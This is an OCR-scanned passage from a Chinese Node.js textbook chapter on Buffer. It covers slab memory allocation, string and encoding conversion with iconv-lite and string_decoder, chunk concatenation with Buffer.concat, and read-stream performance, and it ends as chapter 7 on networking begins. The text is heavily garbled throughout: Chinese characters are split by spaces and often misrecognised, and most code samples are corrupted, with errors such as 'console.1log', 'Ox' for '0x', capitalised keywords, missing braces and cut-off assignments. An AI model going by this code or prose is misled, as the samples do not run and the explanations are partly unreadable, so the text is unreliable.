配 回 收 策略 来 管理 是 个 不 错 的 思路 。 

由 于 Buffer 太 过 常见 ，Node 在 进程 启动 时 就 已 经 加 载 7 它 ， 并 将 其 放 在 全 
0 (global) 上 - 所 以 在 使 用 Buffer 时 ， 无 须 通 过 require() 即 可 直接 使 


6.1.2 Buffer 对 象 
Buffer 对 象 类 似 于 数组 ， 它 的 元 素 为 16 进 制 的 两 位 数 ， 即 0 到 255 的 数值 。 
示例 代码 如 下 所 示 : 

var str = "深入 浅 出 node ,js"; 

var buf = new Buffer(str, 'utf-8°'); 


console.1log(buf); 
// => <Buffer e6 b7 bli e5 85 a5 e6 b5 85 e5 87 ba 6e 6f 64 65 2e 6a 73> 


由 上 面 的 示例 可 见 ， 不 同 编码 的 字符 串 占 用 的 元 素 个 数 各 不 相同 ， 上 面 
2 00 0 i 占用 3 个 元 素 ， 字 母 和 半角 标点 符号 占用 1 
Dn 

Buffer 受 Array 类 型 的 影响 很 大 ， 可 以 访问 lenetn 属 性 得 到 长 度 ， 也 可 以 通 
过 下 标 访问 元 素 ， 在 构造 对 象 时 也 十 分 相似 ， 代 码 如 下 : 


var buf = new Buffer(100 ) 
console.log(buf.length); // => 100 


上 述 代 码 分 配 了 一 个 长 100 字 节 的 Buffer 对 象 。 可 以 通过 下 标 访问 刚 初始 
化 的 Buffer 的 元 素 ， 代 码 如 下 : 


console.1og(buf[10]) 


里 会 得 到 一 个 比较 奇怪 的 结果 ， 它 的 元 素 值 是 一 个 0 到 255 的 随机 值 。 
同样 ， 我 们 也 可 以 通过 下 标 对 它 进 行 赋值 : 


buf[10] = 100; 
console.log(buf[10]); // => 100 


值得 注意 的 是 ， 如 采 给 元 素 赋 值 不 是 0 到 255 的 整数 而 是 小 数 时 会 怎样 
呢 ? 示例 代码 如 下 所 示 : 


buf[20] = - 

console. log(huf 201); // 156 
buf[21] = 

console. log(hur L211); // 44 
buf[22] = 3. 

console. es // 3 


给 元 素 的 赋值 如 果 小 于 0， 就 将 该 值 逐 次 加 256， 直 到 得 到 一 个 0 到 255 之 
则 的 整数 。 如 果 得 到 的 数值 大 于 255， 束 逐次 减 256， 豆 到 得 到 0*255 区 间 
内 的 数值 。 如 果 是 小 数 ， 舍 弃 小 数 部 分 ， 只 保留 整数 部 分 

6.1.3 ”Buffer 内 存 分 配 

Buffer 对 象 的 内 存 分 配 不 是 在 V8 的 堆 内 存 中 ， 而 是 在 Node 的 C++ 层 面 实现 
内 存 的 申请 的 。 因为 处 理 大 量 的 字 世 数据 不 能 采用 需要 一 点 内 存 就 癌 操 
作 系 统 申请 一 点 内 存 的 方式 ， 这 可 能 造成 大 量 的 内 存 申请 的 系统 调用 ， 
对 操作 系统 有 一 定 压力 。 为 此 Node 在 内 存 的 使 用 上 应 用 的 是 在 C++ 层面 申 
请 内 存 、 在 JavaScript 中 分 配 内 存 的 策略 。 


为 了 高 效 地 使 用 申请 来 的 内 存 ，Node 采 用 了 slab 分 配 机 制 。slab 是 一 种 动 
态 内 存 管 理 机 制 ， 最 早 诞生 于 SunOS 操 作 系 统 (Solaris) 中 ， 目 前 在 一 些 
*nix 操 作 系 统 中 有 广泛 的 应 用 ， 如 FreeBSD 和 Linux 。 


人 言 ，slab 束 是 一 块 申请 好 的 固定 大 小 的 内 存 区 域 。slab 具 有 如 下 3 种 


。 full 完全 分 配 状 态 。 
。 partial: 部 分 分 配 状态 。 
。 empty: 没有 被 分 配 状态 。 


下 可 以 通过 以 下 方式 分 配 指定 大 小 的 Buffer 对 


new Buffer(size); 


Node 以 8 KB 为 界限 来 区 分 Buffer 是 大 对 象 还 是 小 对 象 : 


Buffer ,poolSlize = 8 * 1024; 


这 个 8 KB 的 值 也 就 是 每 个 slab 的 大 小 值 ， 在 JavaScript 层 面 ， 以 它 作 为 单位 
单元 进行 内 存 的 分 配 。 


1. 


分 配 小 Buffer 对 象 
如 果 指 定 Buffer 的 大 小 少 于 8 KB，Node 会 按照 小 对 象 的 方式 进行 
分 配 。Buffer 的 分 配 过程 中 主要 使 用 一 个 局 部 变量 pool 作 为 中 间 
处 理 对 象 ， 处 于 分 配 状态 的 slab 单 元 都 指向 它 。 以 下 是 分 配 一 个 
全 新 的 slab 单 元 的 操作 ， 它 会 将 新 申请 的 sloweurrer 对 象 指向 它 : 
var pool; 
function allocPool() { 

pool = new SlowBuffer(Buffer.poolSize); 


pool.used = 0; 


} 
图 6-2 为 一 个 新 构造 的 slab 单 元 示例 。 


] 8 KB 的 pool 


used:0 


| 
图 6-2 ”新 构造 的 slab 单 元 示例 
在 图 6-2 中 ， slab 处 于 empty 状 态 。 
构造 小 Buffer 对 象 时 的 代码 如 下 : 
new Buffer(1024); 
这 次 构造 将 会 去 检查 pool 对 象 ， 如 果 pool 没 有 被 创建 ， 将 会 创建 一 
个 新 的 Slab 单元 指 同 它 : 
If (!pool || pool.length - pool.used < this, length) allocPool() ， 
同时 当前 Buffer 对 象 的 parent 属 性 指向 该 slab， 并 记录 下 是 从 这 个 
slab 的 哪个 位 置 (orrset) 开始 使 用 的 ，slab 对 象 自 喘 也 记录 被 使 
用 了 多 少子 太 7 代码 如 下 : 


this.parent = pool; 
this.offset = pool.used; 


pool.used += this.length; 
If (pool.used & 7) pool.used = (pool.used + 8) & ~7; 


图 6-3 为 从 一 个 新 的 slab 单 元 中 初次 分 配 一 个 Buffer 对 象 的 示意 
o 


offset:0 


used:1024 


图 6-3 ”从 一 个 新 的 slab 单 元 中 初次 分 配 一 个 Buffer 对 象 

这 时 候 的 slab 状 态 为 partial 。 

当 再 次 创建 一 个 Buffer 对 象 时 ， 构 造 过 程 中 将 会 判断 这 个 slab 的 
算 余 空间 是 否 足 够 。 如 果 足 够 ,使 用 剩余 空间 ， 并 更 新 slab 的 分 
es 。 下面 的 代码 创建 了 一 个 新 的 Buffer 对 象 ， 它 会 引起 一 次 
slab 分 配 : 


new Buffer(3000 ) ; 


图 6-4 为 再 次 分 配 的 示意 图 。 


offset:1024 


used:5024 


图 6-4 ”从 slab 单 元 中 再 次 分 配 一 个 Buffer 对 象 

如 果 slab 剩 余 的 空间 不 够 ， 将 会 构造 新 的 slab， 原 slab 中 和 列 余 的 空 
间 会 造成 浪费 。 例 如 ， 第 一 次 构造 1 字 广 的 Buffer 对 象 ， 第 二 次 
构造 8192 字 衣 的 Buffer 对 象 ， 由 于 第 二 次 分 配 时 slab 中 的 空间 不 
够 ， 所 以 创建 并 使 用 新 的 slab， 第 一 个 slab 的 8 KB 将 会 被 第 一 个 1 
字 节 的 Buffer 对 象 独占 。 下 面 的 代码 一 共 使 用 了 两 个 slab 单 元 : 


new Buffer(1); 
new Buffer(8192); 


这 里 要 注意 的 事项 是 ， 由 于 同一 个 slab 可 能 分 配给 多 个 Buffer 对 
象 使 用 ， 只 有 这 些小 Buffer 对 象 在 作用 域 释放 并 都 可 以 回收 时 ， 


slab 的 8 KB 空间 才 会 被 回收 。 尽 管 创建 了 1 个 字 节 的 Buffer 对 象 ， 
但 是 如 果 不 释放 它 ， 实 际 可 能 是 8 KB 的 内 存 没 有 释放 。 

分 配 大 Buffer 对 象 

如 果 需 要 超过 8 KB 的 Buffer 对 象 ， 将 会 直接 分 配 一 个 sloweuffer 对 
象 作 为 slab 单 元 ， 这 个 slab 单 元 将 会 被 这 个 大 Buffer 对 象 独占 。 


// Big buffer, just alloc one 
this.parent = new SlowBuffer(this.length); 
this.offset = 0; 


这 里 的 sloweuffer 类 是 在 C++ 中 定义 的 ， 昌 然 引 用 burfer 模 块 可 以 访 
问 到 它 ， 但 是 不 推荐 直接 操作 它 ， 而 是 用 purter 蔡 代 。 

上 面 提 到 的 Buffer 对 象 都 是 JavaScript 层 面 的 ， 能 够 被 V8 的 垃圾 回 
收 标记 回收 。 但 是 其 内 部 的 parent 属 性 指向 的 sloweuffer 对 象 却 来 自 
于 Node 自 身 C++ 中 的 定义 ， 是 C++ 层面 上 的 Buffer 对 象 ， 所 用 内 
存 不 在 V8 的 堆 中 。 

小 结 


简单 而 言 ， 真 正 的 内 存 是 在 Node 的 C++ 层面 提供 的 ，JavaScript 
层面 只 是 使 用 它 。 当 进行 小 而 频繁 的 Buffer 操 作 时 ， 采 用 slab 的 
机 制 进行 预先 申请 和 事后 分 配 ， 使 得 JavaScript 到 操作 系统 之 间 
不 必 有 过 多 的 内 存 申请 方面 的 系统 调用 。 对 于 大 块 的 Buffer 而 
言 ， 则 直接 使 用 C++ 层面 提供 的 内 存 ， 而 无 需 细 用 的 分 配 操 作 。 


6.2 Buffer 的 转换 
Buffer 对 象 可 以 与 字符 串 之 间 相 互 转换 。 日 前 支持 的 字符 串 编码 类 型 
有 如 下 这 几 种 。 


。 ASCII 

。 UTF-8 

。 UTEF-16LE/UCS-2 
. Base64 

。 Binary 

。 Hex 


6.2.1 ”字符 申 转 Buffer 
字符 串 转 Buffer 对 象 主要 是 通过 构造 函数 完成 的 : 


new Buffer(str, [encoding]); 


通过 构造 画 数 转换 的 Buffer 对 象 ， 存 储 的 只 能 是 一 种 编码 类 型 。encoding 
参数 不 传递 时 ， 默 认 按 UTF-8 编 码 进行 转 码 和 存储 。 

一 个 Buffer 对 象 可 以 存储 不 同 编码 类 型 的 字符 串 转 码 的 值 ， 调 用 write() 
方法 可 以 实现 该 目的 ， 代 码 如 下 : 


buf .write(string, [offset], [length], [encoding]) 


由 于 可 以 不 断 写 入 内 容 到 Buffer 对 象 中 ， 并 且 每 次 写 入 可 以 指定 编 
码 ， 所 以 Buffer 对 象 中 可 以 存在 多 种 编码 转化 后 的 内 容 。 需 要 小 心 的 
是 ， 每 种 编码 所 用 的 字 节 长 度 不 同 ， 将 Buffer 反 转 回 字 符 串 时 需要 说 
慎 处 理 。 
6.2.2 ”Buffer 转 字符 串 
实现 Buffer 疝 字符 捉 的 转换 也 十 分 简单 ，Buffer 对 象 的 tostring() 可 以 将 
Buffer 对 象 转换 为 字符 串 ， 代 码 如 下 : 

buf.toString([encoding], [start], [end]) 
比较 精巧 的 是 ， 可 以 设置 encoding (上 默认 为 UTF-8) “sean 、 这 3 个 参 
数 实现 整体 或 局 部 的 转换 。 如 果 Buffer 对 象 由 多 种 编码 写 入 ， 就 需要 
在 局 部 指定 不 同 的 编码 ， 才 能 转换 回 正常 的 编码 。 
6.2.3 ”Buffer 不 支持 的 编码 类 型 


目前 比较 遗憾 的 是 ，Node 的 Buffer 对 象 支持 的 编码 类 型 有 限 ， 只 有 少 
数 的 几 种 编码 类 型 可 以 在 字符 串 和 Buffer 之 间 转 换 。 为 此 ，Buffer 提 供 
4 isEncoding() 团 数 来 判断 编码 是 否 支 持 转 换 : 


Buffer.isEncoding(encoding) 


将 编码 类 型 作为 参数 传 入 上 面 的 钞 数 ， 如 有 果 支 持 转 换 返 回 值 为 true。， 否 
则 为 farse。 很 遗憾 的 是 ， 在 中 国 常 用 的 GBK、GB2312 和 BIG-5 编 码 都 
不 在 支持 的 行列 中 。 

对 于 不 支持 的 编码 类 型 ， 可 以 借助 Node 生 态 圈 中 的 模块 完成 转换 。 
iconv 和 iconv-1lite 两 个 模块 可 以 支持 更 多 的 编码 类 型 转换 ， 包括 Windows 
125 系 列 、ISO-8859 系 列 、IBM/DOS 代 码 页 系列 、Macintosh 系 列 、 
KOI8 系 列 ， 以 及 Latin1 、US-ASCII ， 也 支持 宽 字 节 编 码 GBK 和 
GB2312。 

zeonvaite 有 来 用 纯 JavaScript 实 现 iconv 则 通过 C++ 调 用 libiconv 库 完成 
前 者 比 后 者 更 轻 量 ， 无 须 编译 和 处 理 环 境 依赖 直接 使 用 。 在 性 能 
面 ， 由 于 转 码 都 是 耗 用 CPU， 在 V8 的 高 性 能 下 ， 少 了 C++ 到 JavaScript 
的 层次 转换 ， 纯 JavaScript 的 性 能 比 C++ 实 现 得 更 好 。 

以 下 为 iconv-1iite 的 示例 代码 : 


var iconv = require('iconv-lite'); 


// Buffer 转 字符 串 
var Str = iconv.decode(buf, 'win1251 ' ) ， 


// 字符 串 转 Buffer 
var buf = iconv.encode("Sample input string", "win1251' ) ， 


另外 ， iconv 和 iconv-lite 对 无 法 转换 的 内 容 进 行 降级 处 理 时 的 方案 不 尽 相 


同 忆 iconv-lite 无 法 转换 的 内 容 如 果 是 多 字 节 ， 会 输出 ; 如 
果 是 单字 节 ， 则 输出 *。iconv 则 有 三 级 降级 策略 ， 会 尝试 翻 译 无 法 转换 
的 内 容 ， 或 者 忽略 这 些 内 容 。 如 采 不 设置 忽略 ，iconv 对 于 无 法 转换 的 
内 容 将 会 得 到 srcsgo 异 党 。 如 下 是 iconv 的 示例 代码 兼 选项 设置 方式 : 


Var iconv = new Iconv('UTF-8', 'ASCII'); 
Iconv.convert( 'Sa va'); // throws EILSEQ 


var iconv = new Iconv('UTF-8', 'ASCII//IGNORE'); 
iconv.convert('c¢a va'); // returns "a va" 


var iconv = new Iconv('UTF-8', 'ASCII//TRANSLIT'); 


iconv.convert('¢a va'); // "ca va" 


var iconv = new Iconv('UTF-8', 'ASCII//TRANSLIT//IGNORE'); 
iconv.convert('¢a va 7'); // "ca va " 


6.3 ”Buffer 的 拼接 
Buffer 在 使 用 场景 中 ， 通 常 是 以 一 段 一 段 的 方式 传输 。 以 下 是 常见 的 
从 输入 流 中 读 取 内 容 的 示例 代码 : 


var fs = require('fs'); 


var rs = fs.createReadSstream('test.md'); 
Var data = ''， 
rs.on("data", function (chunk ){ 

data += chunk; 


hr 
rs.on("end", function () { 
console.1log(data); 


}); 
上 面 这 段 代码 常见 于 国外 ， 用 于 流 读 取 的 示范 ，aata 事 件 中 获取 的 cnunx 
对 象 即 是 Buffer 对 象 。 对 于 初学 者 而 言 ， 容 易 将 Buffer 当 做 字符 串 来 理 
解 ， 所 以 在 接受 上 面 的 示例 时 不 会 觉得 有 任何 异 币 。 
一 旦 输入 流 中 有 筑 字 市 编码 时 ， 问 题 束 会 共 露 出 来 。 如 采 你 在 通过 


Node 开 发 的 网 站 上 看 到 乱码 符号 ， 那 么 该 问题 的 起 源 多 半 
来 目 于 这 里 。 


这 里 潜藏 的 问题 在 于 如 下 这 句 代 码 : 
data += chunk; 


这 人 句 代 码 里 隐藏 了 tostring0) 操 作 ， 它 等 价 于 如 下 的 代码 : 


data = data.toString() + chunk.toString(); 


值得 注意 的 是 ， 外 国人 的 语 境 通常 是 指 英文 环境 ， 在 他 们 的 场景 下 ， 
这 个 tostring(0) 不 会 造成 任何 问题 。 但 对 于 宽 字 的 中 文 ， 却 会 形成 问 
题 。 为 了 重 现 这 个 问题 ， 下 面 我 们 模拟 近似 的 场景 ， 将 文件 可 读 流 的 
每 次 读 取 的 Buffer 长 度 限 制 为 11， 代 码 如 下 : 

var rs = fs.createReadStream('test.md', {highwaterMark: 11}); 
i 0 
以 下 输出 : 
床 前 明 合 合 合 光 ，、 疑 全 全 全 地 上 需 ; 举 头 合 合 全 明月 ， 兮 全 合 头 思 故 乡 ， 
6.3.1 乱码 是 如 何 产 生 的 


上 面 的 诗歌 中 , “月 ”\、“ 是 ”\“ 望 ”\“ 低 ?54 个 字 没 有 被 正 闻 输出 ， 取 而 


代 之 的 是 3 个 "产生 这 个 输出 结果 的 原因 在 于 文件 可 读 流 
在 读 取 时 会 逐个 读 取 Buffer。 这 首 诗 的 原始 Buffer 尽 存 储 为 : 


<Buffer e5 ba 8a e5 89 8d e6 98 8e e6 9c 88 e5 85 89 ef bc 8c e7 96 91 e6 98 af 
e5 9c bo e4 b8 8a e9 9c 9c ef bc 9b e4 b8 be e5 a4 b4 e6 9c 9b e6 98 8e e6 9c 
88: aa 之 


由 于 我 们 限定 了 Buffer 对 象 的 长 度 为 11， 因 此 只 读 流 需要 读 取 7 次 才能 
完成 完整 的 读 取 ， 结 末 是 以 下 几 个 Buffer 对 象 依次 输出 : 


<Buffer e5 ba 8a e5 89 8d e6 98 8e e6 9c> 
<Buffer 88 e5 85 89 ef bc 8c e7 96 91 e6> 


上 文 提 人 到 的 bur.tostring() 方 法 默认 以 UTF-8 为 编码 ， 中 文字 在 UTF-8 下 占 
3 个 字 节 。 所 以 第 一 个 Buffer 对 象 在 输出 时 ， 只 能 显示 3 个 字符 ，Buffer 
中 剩 下 的 2 个 字 节 (es ee) 将 会 以 乱码 的 形式 显示 。 第 二 个 Buffer 对 象 
的 第 一 个 字 节 也 不 能 形成 文字 ， 只 能 显示 乱码 。 于 是 形成 一 些 文字 无 
法 正常 显示 的 问题 。 

在 这 个 示例 中 我 们 构造 了 11 这 个 限制 ， 但 是 对 于 任意 长 度 的 Buffer 而 
言 ， 视 字 节 字符 串 都 有 可 能 存在 被 截断 的 情况 ， 只 不 过 Buffer 的 长 度 
越 大 出 现 的 概率 越 低 而 已 ， 但 该 问题 依然 不 可 忽视 。 

6.3.2 setEncoding( ) 与 st ring_decoder() 

在 看 过 上 述 的 示例 后 ， 也 许 我 们 起 记 了 可 读 流 还 有 一 个 设置 编码 的 方 
) 寺 SEEEFE5dHT9 人 ， 示例 如 下 : 


readable.setEncoding(encoding) 


该 方法 的 作用 是 让 sora 事件 中 传递 的 不 再 是 一 个 Buffer 对 象 ， 而 是 编码 
后 的 字符 串 。 为 此 ， 我 们 继续 改进 前 面 诗歌 的 程序 ， 添 加 setencodinol 
的 步骤 如 下 ; 


var rs = fs.createReadStream('test.md', { highwaterMark: 11}); 
rs.setEncoding('utf8"' ); 


重新 执行 程序 ， 得 到 输出 : 


床 前 明月 光 ， 疑 是 地 上 霜 ; 举 头 望 明 月 ， 低 头 思 故 乡 。 


这 是 令 人 开心 的 输出 结果 ， 说 明 输 出 不 再 受 Buffer 大 小 的 影响 了 。 那 
Node 是 如 何 实现 这 个 输出 结果 的 呢 ? 
要 知道 ， 无 论 如 何 设置 编码 ， 触 发 vata 事 件 的 次 数 依旧 相同 ， 这 意味 着 
设置 编码 并 未 改变 按 段 读 取 的 基本 方式 。 
事实 上 ， 在 调用 setEncoding() 上 时， 可 读 流 对 象 在 内 部 设置 了 一 | decoder 对 
象 ° 每 次 sata 事 件 都 通过 该 secodser 对 象 进行 Buffer 到 字符 串 的 解码 ， 然 
后 传递 给 调用 者 。 是 故 设置 编码 后 ，data 不 再 收 到 原始 的 Buffer 对 象 。 
但 是 这 依旧 无 法 解释 为 何 设 置 编码 后 乱码 问题 被 解决 掉 了 ， 因 为 在 前 
述 分 析 中 ， 无 论 如 何 转 码 ， 总 是 存在 宽 字 下 字 符 串 被 截断 的 问题 。 
最 终 乱 码 问 题 得 以 解决 ， 还 是 在 于 decoder 的 神奇 之 处 。decoder 对 象 来 目 
于 Sinaadssadai 人 全 二 Snsnsesueas 上 由] 开 人 例 对 和 象 S 它 神 奇 的 原理 是 什么 ， 下 
面 我 们 以 代码 来 说 明 : 

var StringDecoder = require('string decoder').StringDecoder,; 

var decoder = new StringDecoder('utf8'); 


var buf1 = new Buffer([OxE5, OxBA, Ox8A, OxE5, QOx89, QOx8D, OxE6, QOx98, Ox8E, Ox 
E6, QOx9C]); 

console.log(decoder .write(buf1)); 

// => 床 前 明 


var buf2 = new Buffer([Ox88, QOxE5, QOx85, Ox89, QOxEF, QOxBC, Ox8C, QOxE7, Ox96, Ox 
91, OxE6]); 

console.log(decoder .write(buf2)); 

// => 月 光 , 疑 


我 将 前 文 提 到 的 前 两 个 Buffer 对 象 写 入 decoder 中 。 奇 怪 的 地 方 在 
于 “月 ”的 转 码 并 没有 如 平常 一 样 在 两 个 部 分 分 开 输 出 。stringpecoder 在 
得 到 编码 后 ， 知 道 宽 字 节 字符 串 在 UTF-8 编 码 下 是 以 3 个 字 节 的 方式 存 
储 的 ， 所 以 第 一 次 wate0 时 ， 只 输出 前 9 个 字 节 转 码 形成 的 字 
符 ,“ 月 ? 字 的 前 两 个 字 和 被 保留 在 stringpecoder 实 例 内 部 。 第 二 次 write() 
时 ， 会 将 这 2 个 剩余 字 节 和 后 续 11 个 字 节 组 合 在 一 起 ， 再 次 用 3 的 整数 
音字 下 进行 转 码 。 于 是 乱码 问题 通过 这 种 中 间 形 式 被 解决 了 。 

虽然 string_decoder 模 块 很 奇妙 ， 但 是 它 也 并 非 万 能 约 ， 它 目前 只 能 处 理 
UTF-8、Base64 和 UCS-2/UTF-16LE 这 3 种 编码 。 所 以 ， 通 过 setencoding() 
wR 但 并 不 能 从 根本 上 解决 该 
问题 。 

6.3.3 ”正确 拼接 Buffer 

淘汰 挥 setencoding() 方 法 后 ， 剩 下 的 解决 方案 只 有 将 多 个 小 Buffer 对 象 拼 
接 为 一 个 Buffer 对 象 ， 然 后 通过 iconv-lite 一 类 的 模块 来 转 码 这 种 方式 。 


和 
I\: 


var chunks = [1]; 

var size = 0; 

res.on('data', function (chunk) { 
chunks.push(chunk); 
size += chunk.length,; 

}); 

res.on('end', function () { 
var buf = Buffer.concat(chunks, size); 
var str = iconv.decode(buf, 'utf8 ' ) ; 
console.1log(str); 


}); 


正确 的 拼接 方式 是 用 一 个 数组 来 存储 接收 到 的 所 有 Buffer 片 段 并 记录 
下 所 有 片段 的 总 长 度 ) 然后 调用 mee 法 生成 一 个 合并 的 
Buffer 对 和 象 “ Buffer.concat() 方 法 封装 了 从 小 Buffer 对 象 问 大 Buffer 对 象 的 
复制 过 程 ， 实 现 十 分 细腻 ， 值 得 围观 学 习 : 


Buffer ,concat = function(list, length) { 
if (!Array.isArray(list)) { 
throw new Error('Usage: Buffer.concat(list, [length])'); 


if (list.length === 0) { 
return new Buffer(0); 

} else if (list.length === 1) { 
return list[0]; 


If (typeof length !== 'number') { 
length = 0) 
for (var i = 0; i < list.length; i++) { 
var buf = list[i]; 
length += buf.length 
} 


var buffer = new Buffer(length); 

var pos = 0; 

for (var i = 0; i < list.length; i++) { 
var buf = list[i]; 
buf .copy(buffer, pos); 
pos += buf,1length 


return buffer 


}; 


6.4 ”Buffer 与 性 能 


Buffer 在 文件 VO 和 网 络 1/O 中 运用 广泛 ， 尤 其 在 网 络 传输 中 ， 它 的 性 能 
举足轻重 。 在 应 用 中 ， 我 们 通常 会 操作 字符 串 ， 但 一 旦 在 网 络 中 传 
输 ， 都 需要 转换 为 Buffer， 以 进行 二 进 制 数据 传输 。 在 Web 应 用 中 ， 字 
符 串 转换 到 Buffer 是 时 时 刻 刻 发 生 的 ， 提 高 字符 串 到 Buffer 的 转换 效 
率 ， 可 以 很 大 程度 地 提高 网 络 吞 吐 率 。 

在 展开 Buffer 与 网 络 传输 的 关系 之 前 ， 我 们 可 以 移 来 进行 一 次 性 能 测 
试 。 下 面 的 例子 中 构造 了 一 个 10 KB 大 小 的 字符 串 。 我 们 首先 通过 纯 
字符 串 的 方式 同 客 户 端 发 送 ， 代 码 如 下 : 


Var http 二 require('http'); 
Var hellowor]ld = ""，; 


for (var i = 0; i < 1024 * 10; i++) { 
helloworld += "a"; 

// helloworld = new Buffer(helloworld); 

http,createServer(function (req, res) { 
res.writeHead(200); 


res.end(helloworld); 
}).listen(8001); 


我 们 通过 ao 进行 一 次 性 能 测试 ， 发 起 200 个 并 发 客户 端 : 


ab -c 200 -t 100 http://127.0.0.1:8001/ 


得 到 的 测试 结果 如 下 所 示 : 


HTML transferred: 512000000 bytes 

Requests per second: 2527.64 [#/sec] (mean) 

Time per request: 79.125 [ms] (mean) 

Time per request: 0.396 [ms] (mean, across all concurrent requests) 
Transfer rate: 25370.16 [Kbytes/sec|] received 


测试 的 QPS (每 秒 查 询 次 数 ) 是 2527.64， 传 输 率 为 每 秒 25 370.16 
KB。 

授 下 来 我 们 取消 挥 helloworl = new Buffer(hellowor1d); 前 的 注释 ， 使 加 客户 
端 输 出 的 是 一 个 Buffer 对 象 ， 无 须 在 每 次 啊 应 时 进行 转换 。 再 次 进行 
性 能 测试 的 结果 如 下 所 示 : 


Total transferred : 513900000 bytes 


HTML transferred: 512000000 bytes 

Requests per Second : 4843.28 [#/sec] (mean ) 

Time per request: 41.294 [ms] (mean) 

Time per request: 0.206 [ms] (mean, across all concurrent requests) 


Transfer rate: 48612.56 [Kbytes/sec|] received 


QPS 的 提升 到 4843.28， 传 输 率 为 每 秒 48 612.56 KB ， 人 性 能 提高 近 一 
倍 。 


通过 预先 转换 静态 内 容 为 Buffer 对 象 ， 可 以 有 效 地 减少 CPU 的 重复 使 
用 ， 广 省 服务 器 资源 。 在 Node 构 建 的 Web 应 用 中 ， 可 以 选择 将 页 面 中 
的 动态 内 容 和 静态 内 容 分 离 ， 静 态 内 容 部 分 可 以 通过 预先 转换 为 
Buffer 的 方式 ， 使 性 能 得 到 提升 。 由 于 文件 目 喘 古 二 进 制 数据 ， 所 以 
在 不 需要 改变 内 容 的 场景 下 ， 尽 量 只 读 取 Buffer， 然 后 直接 传输 ， 不 
做 额外 的 转换 ， 避 免 损 耗 。 


。 文件 读 取 

Buffer 的 使 用 除了 与 字符 串 的 转换 有 性 能 损耗 外 ， 在 文件 的 
读 取 时 ， 有 一 个 highwatermark 设 置 对 性 能 的 影响 至 关 重 要 。 在 
fs,createReadStream(path， opts) 时 ， 我 们 可 以 传 入 一 些 参数 ， 代码 
如 平 : 
{ 

tage LE 

encoding: null, 

fd: null, 


mode: 0666, 
highwaterMark: 64 * 1024 


我 们 还 可 以 传递 start 和 eno 来 指定 读 取 文件 的 位 置 范围 : 


{start: 90, end: 99} 


i 工作 方 式 是 在 内 存 中 准备 一 段 Buffer， 然 
后 在 fs.read() 读 取 时 逐步 从 人 磁盘 中 将 字 节 复制 到 Buffer 中 。 完 
成 一 次 读 取 时 ， 则 从 这 个 Buffer 中 通过 slice() 方 法 取出 部 分 数 
据 作为 一 个 小 Buffer 对 象 ， 再 通过 ata 事件 传递 给 调用 方 。 如 
条 Buffer 用 完 ， 则 重新 分 配 一 个 ， 如 果 还 有 剩余 ， 则 继续 使 
用 。 下 面 为 分 配 一 个 新 的 Buffer 对 象 的 操作 : 


Var pool; 


function allocNewPool(poolSize) { 
pool = new Buffer(poolSize); 
pool.used = 0; 


} 


在 理想 的 状况 下 ， 每 次 读 取 的 长 度 束 是 用 户 指 定 的 
hignwaterMark 。 但 是 有 可 能 读 到 了 文件 结尾 ， 或 者 文件 本 身 束 
没有 指定 的 nighwatermark 那 么 大 ， 这 个 预先 指定 的 Buffer 对 象 将 
会 有 部 分 剩余 ， 不 过 好 在 这 里 的 内 存 可 以 分 配给 下 次 读 取 时 


使 用 。pool 是 党 驻 内 存 的 ， 只 有 当 pool 单 元 剩余 数量 小 于 128 

(kMinPoolSpace) 字 节 时 ， 才 会 重新 分 配 一 个 新 的 Buffer 对 
象 。Node 源 代码 中 分 配 新 的 Buffer 对 象 的 判断 条 件 如 下 所 
XA]N: 


If (!pool || pool.length - pool.used < kMinPoolSpace) { 
// discard the old pool 
pool = null; 
allocNewPool(this._readableState.highwaterMark); 

} 


这 里 与 Buffer 的 内 存 分 配 比 较 类 似 ，hignwatermark 的 大 小 对 性 能 
有 两 个 影响 的 点 。 
highwatermark 设 置 对 Buffer 内 存 的 分 配 和 使 用 有 一 定 影响 9 
highwaterark 设 置 过 小 ， 可 能 导致 系统 调用 次 数 过 多 。 
文件 流 读 取 基于 Buffer 分 配 ， Buffer 则 基于 siowguffer 分 配 j 这 
可 以 理解 为 两 个 维度 的 分 配 策略 。 如 果 文 件 较 小 〈 小 于 8 
KB) ， 有 可 能 造成 slab 未 能 完全 使 用 。 
由 于 fs ,CreateReadStream( ) 内 部 采用 rs .read() 实现 将 会 纪 | 起 对 位 
一 的 系统 调用 ， 对 于 大 文件 而 言 ，nignwaternark 的 大 小 决定 会 
触发 系统 调用 和 data 事 件 的 次 数 。 
以 下 为 Node 目 带 的 基准 测试 ， 在 benchmark/fs/read-stream- 
throughput.js 中 可 以 找到 : 


function runTest() { 
assert(fs.statSync(filename).size === filesize); 
var rs = fs.createReadStream(filename, { 
highwaterMark: size, 
encoding: encoding 


了 


rs.on('open', function() { 
bench. start(); 
}); 


var bytes = 0; 

rs.on('data', function(chunk) { 
bytes += chunk.1length,; 

}); 


rs.on('end', function() { 
try { fs.unlinkSync(filename); } catch (e) {} 
// MB/sec 
bench.end(bytes / (1024 * 1024)); 


}); 
} 


下 面 为 某 次 执行 的 结 


fs/read-stream-throughput.js type=buf size=1024: 46.284 
fs/read-stream-throughput.js type=buf size=4096: 139.62 
fs/read-stream-throughput.js type=buf size=65535: 681.88 
fs/read-stream-throughput.js type=buf size=1048576: 857.98 


从 上 面 的 执行 结果 我 们 可 以 看 到 ， 读 取 一 个 相同 的 大 文件 
时 ，highwatermark 值 的 大 小 与 读 取 速度 的 天 系 : 该 值 越 大 ， 读 
取 速 度 越 快 。 


6.5 ”总 结 

体验 过 JavaScript 友 好 的 字符 串 操 作 后 ， 有 些 开 发 者 可 能 会 形成 思维 定 

势 ， 将 Buffer 当 做 字符 串 来 理解 。 但 字符 串 与 Buffer 之 间 有 实质 上 的 差 

异 ， 即 Buffer 是 二 进 制 数据 ， 字 符 串 与 Buffer 之 间 存 在 编码 关系 。 

ei 对 于 如 何 高 效 处 理 二 进 制 数 据 
分 o 


6.6 参考 资源 
本 章 参 考 的 资源 如 下 : 


。 http:/nodejs.org/docs/latest/api/string_decoder.html 

。 https://github.com/bnoordhuis/node-iconyv 

。 https:/github.comy/ashtuchkin/iconv-lite 

。 http:/httpd.apache.org/docs/2.2/programs/ab.html 

。 http://cnodejs.org/user/fool 

。 http://en.wikipedia.org/wiki/Slab allocation 

。 https:/www.ibm.comy/developerworks/cn/linux/-linux-slab- 


allocator/ 


第 7 章 网络 编程 

Node 是 一 个 面向 网 络 而 生 的 平台 ， 它 具有 事件 驱动 、 无 阻塞、 单线 程 

等 特性 ， 具 备 良好 的 可 伸缩 性 ， 使 得 它 十 分 轻 量 ， 适 合 在 分 布 式 网 络 
